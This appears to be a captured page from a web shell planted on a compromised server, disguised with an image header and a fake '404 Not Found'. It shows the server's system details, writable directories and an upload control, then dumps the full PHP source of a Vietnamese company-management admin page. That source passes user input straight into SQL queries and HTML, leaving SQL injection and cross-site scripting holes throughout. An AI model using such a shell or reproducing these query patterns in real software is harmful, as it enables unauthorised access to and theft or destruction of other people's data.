ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkeweb2/code/management/company/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkeweb2/code/management/company/index.php
<?php
function company_selected($id,$parentid,$aCats,$res,$sep){
    foreach($aCats as $val){
        if($val['company_parentid']==$parentid){
            if($id==$val['company_id']){
                $re = '<option value="'.$val['company_id'].'" selected>'.$sep.' '.$val['company_name'].' ('.$val['company_pos'].')</option>';
            }else{
                $re = '<option value="'.$val['company_id'].'">'.$sep.' '.$val['company_name'].' ('.$val['company_pos'].')</option>';
            }
            $res .= company_selected($id,$val['company_id'],$aCats,$re,$sep.' + ');
        }
    }
    return $res;
}
function tree_menu($parentid,$arr,$sep){
if(!is_null($arr)) {
    foreach ($arr as $key => $v) {
        if ($v['company_parentid'] == $parentid) {
            $arr[$key]['company_name'] = $sep . ' ' . $arr[$key]['company_name'];
            $arr = tree_menu($v['company_id'], $arr, $sep . " + ");
        }
    }
}
    return $arr;
}
$CORE->page_title = ($v_lang=='en')?'Company':'Công ty';
$type = isset($CORE->input['type']) ? $CORE->input['type'] : '';
switch ($type){
    case 'delete':
        global $INFO;
        $company_id = $CORE->input['company_id'];
        $txt_list_table_delete = '';
        $q_table = $DB->query("SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('company_id') AND TABLE_SCHEMA='".$INFO['sql_database']."';");
        $i = 0;
        while ($r_table = $DB->fetch_row($q_table)){
            $txt_list_table_delete .= '<li>
                                        <h3><a href="javacript:void(0)">'.$r_table['TABLE_NAME'].'</a></h3>
                                       ';
            $q_delete = $DB->query("SELECT * FROM ".$r_table['TABLE_NAME']." WHERE company_id='".$company_id."' ");
            while ($r_delele = $DB->fetch_row($q_delete)){
                $txt_list_table_delete .= '<pre>'.serialize($r_delele).'</pre>';
            }
            $txt_list_table_delete .= '</li>';
            $i++;
        }
        $html_block = 'delete';
        if(isset($CORE->input['submitbt_delete'])){
            $company_id = $CORE->input['company_id'];
            $DB->query("DELETE FROM tb_company WHERE company_parentid='".$company_id."' ");
            $q_table = $DB->query("SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('company_id') AND TABLE_SCHEMA='".$INFO['sql_database']."';");
            ob_end_flush();
            while ($r_table = $DB->fetch_row($q_table)){
                $DB->query("DELETE FROM ".$r_table['TABLE_NAME']." WHERE company_id='".$company_id."' ");
                    echo 'Deleted '.$r_table['TABLE_NAME']. ' where company_id='.$company_id.'<br />';
                    echo '--------------------------------------------------------------------------<br/>';
                    sleep(1);
                    flush();
            }
            sleep(1);
            echo '<script>location.href=\'index.php?act=management&code=company\';</script>';
            exit();
        }
        break;
    case 'post' :
        $company_id = isset($CORE->input['company_id']) ? intval($CORE->input['company_id']) : 0;
        $row_check = $DB->get_colum_tb('tb_company');
        if($company_id>0) {
            $row_check = $DB->fetch_row($DB->query("SELECT * FROM `tb_company` WHERE `company_id` = '$company_id' "));
            $q_module_list = $DB->query("SELECT * FROM tb_company_module WHERE company_id='$company_id'");
            while ($r_module_list=$DB->fetch_row($q_module_list)){
                $arr_module_id_used[] = $r_module_list['module_id'];
            }
        }
        $aCats = array();
        $op_menu = '';
            $query_menu = $DB->query("SELECT * FROM tb_company ");
            while($rows_menu = $DB->fetch_row($query_menu))
            {
                $aCats[] = $rows_menu;
            }
        $op_menu = company_selected($row_check['company_parentid'],0,$aCats,'<option value="0"> Choose a subsidiary</option>','');
        $html_block = 'post';
        if(isset($CORE->input['submitbt'])){
            $list_id_module = isset($CORE->input['list_id_module']) ? $CORE->input['list_id_module'] : '';
            $f = $CORE->input['f'];
            if($f['company_code']!='') {
                if(intval($f['company_id'])>0){
                    $row_check_code = $DB->fetch_row($DB->query("SELECT * FROM tb_company WHERE company_code='".$f['company_code']."' AND company_id<>'".$f['company_id']."' "));
                    if($row_check_code){
                        exit('Company code is exist');
                    }
                    $DB->query("UPDATE tb_company SET company_name='".$f['company_name']."' ,company_ename='".$f['company_ename']."', company_code='" . $f['company_code'] . "',company_parentid='" . $f['company_parentid'] . "',company_pos='" . $f['company_pos'] . "', company_status='" . $f['company_status'] . "', company_address='" . $f['company_address'] . "', company_email='" . $f['company_email'] . "', company_phone='" . $f['company_phone'] . "', company_type='" . $f['company_type'] . "' ,company_grade_begin='" . $f['company_grade_begin'] . "' , company_des='" . $f['company_des'] . "' , company_edes='" . $f['company_edes'] . "',company_mst='".$f['company_mst']."',company_sotaikhoan='".$f['company_sotaikhoan']."',company_nganhang='".$f['company_nganhang']."',company_daidien='".$f['company_daidien']."',company_chucvu='".$f['company_chucvu']."' WHERE company_id='".intval($f['company_id'])."'");
                    $v_company_id = intval($f['company_id']);
                }else {
                    $row_check_code = $DB->fetch_row($DB->query("SELECT * FROM tb_company WHERE company_code='" . $f['company_code'] . "' "));
                    if($row_check_code){
                        exit('Company code is exist');
                    }
                    $DB->query("INSERT INTO `tb_company` ( `company_name`, `company_ename`, `company_code`, `company_parentid`, `company_pos`, `company_status`, `company_address`, `company_email`, `company_phone`, `company_type`,`company_grade_begin`, `company_des`, `company_edes`,company_mst,company_sotaikhoan,company_nganhang,company_daidien, 	company_chucvu) VALUES ( '" . $f['company_name'] . "', '" . $f['company_ename'] . "', '" . $f['company_code'] . "', '" . $f['company_parentid'] . "', '" . $f['company_pos'] . "', '" . $f['company_status'] . "', '" . $f['company_address'] . "', '" . $f['company_email'] . "', '" . $f['company_phone'] . "', '" . $f['company_type'] . "','" . $f['company_grade_begin'] . "', '" . $f['company_des'] . "', '" . $f['company_edes'] . "', '" . $f['company_mst'] . "', '" . $f['company_sotaikhoan'] . "', '" . $f['company_nganhang'] . "', '" . $f['company_daidien'] . "', '" . $f['company_chucvu'] . "');");
                    $v_company_id = $DB->insert_id();
                }
                //upload logo
                if($_FILES['image_field']){
                    include 'lib/class.upload.php';
                    $handle = new upload($_FILES['image_field']);
                    if ($handle->uploaded) {
                        $v_image_name = $v_company_id.'_'.time();
                        $handle->allowed = array('image/*');
                        $handle->file_new_name_body  = $v_image_name;
                        $handle->file_max_size = '1000000';
                        $handle->image_convert = 'png';
                        $handle->process(ROOT_PATH.'upload/logos/');
                        if ($handle->processed) {
                            if($row_check['company_logo']!='') {
                                unlink(ROOT_PATH . 'upload/logos/' . $row_check['company_logo'] . '.png');
                            }
                            $DB->query("UPDATE tb_company SET company_logo='".$v_image_name."' WHERE company_id='$v_company_id' ");
                            $handle->clean();
                        } else {
                            echo 'Upload Error : ' . $handle->error;
                            exit();
                        }
                    }
                }
                //add module to school
                /*if(!empty($list_id_module) && strpos($list_id_module,'@')!==false){
                    $arr_list_module = explode('@',$list_id_module);
                    //delete old module data
                    $DB->query("DELETE FROM tb_company_module WHERE company_id='$v_company_id'");
                    foreach ($arr_list_module as $val){
                        $insData = array('company_id'=>$v_company_id,'module_id'=>$val);
                        $DB->do_insert('tb_company_module',$insData);
                    }
                }*/
                $print->refresh('index.php?act=management&code=company');
            }
        }
        break;
    default:
        $keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
        $where = "WHERE company_name<>''";
        if($keyword!='')
        {
            $where .=  " AND (company_name LIKE '%".$keyword."%' or company_ename LIKE '%".$keyword."%') ";
        }

        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 100;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_company ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM tb_company ".$where." ORDER BY `company_pos` ASC LIMIT $from, $pageSize");
        $arr = array();
        while($row = $DB->fetch_row($query))
        {
            $arr[] = $row;
        }
        $list_company = tree_menu(0,$arr,'+');
        $nav = $print->Pagination($totalPage,$pageNum,'menu','index.php?act=management&code=company&fkeyword='.$keyword);
        $txt_list_company = '';
        foreach($list_company as $val){
            if($val['company_logo']!='' and file_exists(ROOT_PATH.'upload/logos/'.$val['company_logo'].'.png')){
                $txt_img = 'upload/logos/'.$val['company_logo'].'.png';
            }else{
                $txt_img = 'upload/logos/no-image.png';
            }
            $txt_list_company .= '<tr>
                                    <td><input name="txt_pos['.$val['company_id'].'][]" class="form-control" type="text" value="'.$val['company_pos'].'" style="width:100px;"></td>
                                    <td>'.$val['company_name'].'</td>
                                    <td>'.$val['company_ename'].'</td>
                                    <td><img src="'.$txt_img.'" style="height:20px;"></td>
                                    <td><span class="label label-table label-success">'.$val['company_status'].'</span> </td>
                                    <td>
                                        <a href="?act=management&code=company&type=post&company_id='.$val['company_id'].'" class="btn btn-sm btn-icon btn-pure btn-outline delete-row-btn">Edit</a>
                                        <a href="?act=management&code=company&type=delete&company_id='.$val['company_id'].'" class="btn btn-sm btn-icon btn-pure btn-outline delete-row-btn" onclick="return confirm(\'Are you sure want to delete?\');">Delete</a>
                                    </td>
                                </tr>';
        }

        $html_block = 'list';
        $type2 = isset($CORE->input['type2']) ? $CORE->input['type2'] : '';
        if($type2=='update_pos'){
            if(isset($CORE->input['txt_pos'])) {
                $pos = $CORE->input['txt_pos'];
                foreach ($pos as $key=>$val){
                    $DB->query("UPDATE tb_company SET company_pos = '".$val[0]."' WHERE company_id='$key' ");
                }
            unset($pos);
            }
            $print->refresh('index.php?act=management&code=company');
        }
        break;
}

?>
<?php
include ROOT_PATH . 'include/block/header.php';
?>
    <div class="container-fluid page-body-wrapper">
        <div class="main-panel">
            <div class="content-wrapper">
                <div class="card">
                    <div class="card-body">

                        <nav aria-label="breadcrumb">
                            <ol class="breadcrumb breadcrumb-custom bg-inverse-info">
                                <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                                <li class="breadcrumb-item"><a href="?act=management&code=company"><?php echo $CORE->page_title;?></a></li>
                                <li class="breadcrumb-item active" aria-current="page"><span><?php echo $CORE->page_title;?> management</span></li>
                            </ol>
                        </nav>



        <div class="container-fluid">
            <div class="row">
                <div class="col-12">
                    <?php
                    if($html_block=='delete'){
                    ?>
                     <form action="index.php?act=management&code=company&type=delete" method="post">
                         <input type="hidden" value="<?php echo $company_id;?>" name="company_id">
                    <div class="card">
                        <div class="card-body">
                            <h4 class="card-title">Some data will be lost when you delete this record:</h4>
                            <h6 class="card-subtitle">About <?php echo $i;?> result</h6>
                            <ul class="search-listing">
                                <?php echo $txt_list_table_delete;?>
                            </ul>
                        </div>
                        <div class="form-actions">
                            <button type="submit" class="btn btn-success" name="submitbt_delete"> Agree delete</button>
                            <button type="button" class="btn btn-inverse" onclick="location.href='index.php?act=management&code=company'">Cancel</button>
                        </div>
                    </div>
                        </form>
                    <?php } ?>
                    <?php
                    if($html_block=='post'){
                    ?>
                        <div class="card card-outline-info">
                            <div class="card-header">
                                <h4 class="m-b-0">Thông tin cơ bản</h4>
                            </div>
                            <div class="card-body">
                                <form action="?act=management&code=company&type=post" method="post" enctype="multipart/form-data">
                                    <input type="hidden" value="<?php echo $row_check['company_id'];?>" name="f[company_id]">
                                    <div class="form-body">
                                        <div class="row p-t-20">
                                            <div class="col-md-4">
                                                <div class="form-group">
                                                    <label class="control-label">Tên công ty</label>
                                                    <input type="text" class="form-control" placeholder="" name="f[company_name]" value="<?php echo $row_check['company_name'];?>" required>
                                                </div>
                                            </div>
                                            <div class="col-md-4">
                                                <div class="form-group">
                                                    <label class="control-label">Tên công ty Eglish</label>
                                                    <input type="text" class="form-control" name="f[company_ename]" value="<?php echo $row_check['company_ename'];?>" required>
                                                </div>
                                            </div>
                                            <div class="col-md-4">
                                                <div class="form-group">
                                                    <label class="control-label">Code</label>
                                                    <input type="text" class="form-control" name="f[company_code]" value="<?php echo $row_check['company_code'];?>" required>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-md-12">
                                                <div class="form-group">
                                                    <label class="control-label">Tên đầy đủ</label>
                                                    <input type="text" class="form-control" placeholder="" name="f[company_des]" value="<?php echo $row_check['company_des'];?>" required>
                                                </div>
                                            </div>
                                            <div class="col-md-12">
                                                <div class="form-group">
                                                    <label class="control-label">Tên tiếng Anh</label>
                                                    <input type="text" class="form-control" placeholder="" name="f[company_edes]" value="<?php echo $row_check['company_edes'];?>" required>
                                                </div>
                                            </div>
                                            <div class="col-md-12">
                                                <div class="form-group">
                                                    <label class="control-label">Công ty con của</label>
                                                    <select class="form-control custom-select" data-placeholder="Choose a Category" name="f[company_parentid]">
                                                        <?php echo $op_menu;?>
                                                    </select>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row">
                                            <div class="col-md-3">
                                                <div class="form-group">
                                                    <label class="control-label">Loại hình cty</label>
                                                    <select class="form-control" data-placeholder="" name="f[company_type]">
                                                        <option value="1" <?php if($row_check['company_type']=='1') echo 'selected';?>>Công ty TNHH một thành viên</option>
                                                        <option value="2" <?php if($row_check['company_type']=='2') echo 'selected';?>>Công ty hợp danh</option>
                                                        <option value="3" <?php if($row_check['company_type']=='3') echo 'selected';?>>Công ty cổ phần</option>
                                                        <option value="4" <?php if($row_check['company_type']=='4') echo 'selected';?>>Doanh nghiệp tư nhân</option>
                                                        <option value="5" <?php if($row_check['company_type']=='5') echo 'selected';?>>Doanh nghiệp nhà nước</option>
                                                    </select>
                                                </div>
                                            </div>

                                            <div class="col-md-3">
                                                <div class="form-group">
                                                    <label class="control-label">Vị trí</label>
                                                    <input type="text" class="form-control" placeholder="" name="f[company_pos]" value="<?php echo $row_check['company_pos'];?>" required>
                                                </div>
                                            </div>
                                            <div class="col-md-3">
                                                <div class="form-group">
                                                    <label class="control-label">Status</label>
                                                    <select class="form-control custom-select" data-placeholder="" name="f[company_status]">
                                                        <option value="active" <?php if($row_check['company_status']=='active') echo 'selected';?>>Active</option>
                                                        <option value="pending" <?php if($row_check['company_status']=='pending') echo 'selected';?>>Inactive</option>
                                                    </select>
                                                </div>
                                            </div>
                                        </div>
                                        <h3 class="box-title m-t-40">Thông tin pháp lý</h3>
                                        <hr>
                                        <div class="row">
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Logo</label>
                                                    <input type="file" name="image_field">
                                                </div>
                                            </div>
                                            <div class="col-md-16">
                                                <div class="form-group">
                                                    <?php
                                                    if($row_check['company_logo']!='' and
                                                        file_exists(ROOT_PATH.'upload/logos/'.$row_check['company_logo'].'.png')
                                                    ){ ?>
                                                   <img src="upload/logos/<?php echo $row_check['company_logo'];?>.png" style="width:100px;">
                                                    <?php }else{ ?>
                                                        <img src="upload/logos/no-image.png" style="width:100px;">
                                                    <?php } ?>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row">


                                        </div>
                                        <div class="row">
                                            <div class="col-md-12">
                                                <div class="form-group">
                                                    <label>Äịa chỉ</label>
                                                    <input type="text" class="form-control" name="f[company_address]" value="<?php echo $row_check['company_address'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                        </div>
                                        <!--/row-->
                                        <div class="row">
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Email</label>
                                                    <input type="text" class="form-control"  name="f[company_email]" value="<?php echo $row_check['company_email'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Phone</label>
                                                    <input type="text" class="form-control"  name="f[company_phone]" value="<?php echo $row_check['company_phone'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                        </div>

                                        <div class="row">
                                            <div class="col-md-4">
                                                <div class="form-group">
                                                    <label>MST</label>
                                                    <input type="text" class="form-control"  name="f[company_mst]" value="<?php echo $row_check['company_mst'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                            <div class="col-md-4">
                                                <div class="form-group">
                                                    <label>Tài khoản số</label>
                                                    <input type="text" class="form-control"  name="f[company_sotaikhoan]" value="<?php echo $row_check['company_sotaikhoan'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                            <div class="col-md-4">
                                                <div class="form-group">
                                                    <label>Ngân hàng</label>
                                                    <input type="text" class="form-control"  name="f[company_nganhang]" value="<?php echo $row_check['company_nganhang'];?>">
                                                </div>
                                            </div>
                                        </div>

                                        <div class="row">
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Äại diện</label>
                                                    <input type="text" class="form-control"  name="f[company_daidien]" value="<?php echo $row_check['company_daidien'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label>Chức vụ</label>
                                                    <input type="text" class="form-control"  name="f[company_chucvu]" value="<?php echo $row_check['company_chucvu'];?>">
                                                </div>
                                            </div>
                                            <!--/span-->
                                        </div>

                                    </div>
                                    <div class="form-actions">
                                        <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Save</button>
                                        <button type="button" class="btn btn-inverse" onclick="location.href='index.php?act=management&code=company'">Cancel</button>
                                    </div>
                                </form>
                            </div>
                        </div>
                    <?php } ?>
                    <?php
                    if($html_block=='list'){
                    ?>
                    <div class="card">
                        <div class="card-body">
                            <div class="m-t-40">
                                <div class="d-flex">
                                    <div class="mr-auto">
                                        <div class="form-group">
                                            <a href="?act=management&code=company&type=post" class="btn btn-primary btn-sm"><i class="fa fa-plus"></i> Thêm công ty
                                            </a>
                                            <a href="javascript:void(0);" class="btn btn-primary btn-sm" id="update_pos"><i class="fa fa-bars"></i> Cập nhật vị trí
                                            </a>
                                            </div>
                                    </div>
                                    <div class="ml-auto">
                                        <div class="form-group">
                                            <input id="demo-input-search2" type="text" placeholder="Search" autocomplete="off" class="module_title_search" value="<?php echo $keyword;?>">
                                            <input type="hidden" value="act=management&code=company" id="txt_code_search">
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <form action="" method="post" id="form_quick_update">
                                <input type="hidden" name="type2" value="">
                            <table class="table table-bordered color-table primary-table footable">
                                <thead>
                                <tr>
                                    <th>Vị trí</th>
                                    <th>Tên công ty</th>
                                    <th>Tên tiếng Anh</th>
                                    <th>Logo</th>
                                    <th>Status</th>
                                    <th>#</th>
                                </tr>
                                </thead>
                                <tbody>
                               <?php echo $txt_list_company;?>
                                </tbody>
                            </table>
                            </form>
                            <div class="text-right footable">
                                <ul class="pagination" style="float: right;">
                                    <?php echo $nav;?>
                                </ul>
                            </div>
                        </div>
                    </div>
                    <?php } ?>

                </div>
            </div>
        </div>

    </div>
                </div>
            </div>
        </div>
    </div>
<?php
include ROOT_PATH . 'include/block/footer.php';
?>

ZeroDay Forums Mini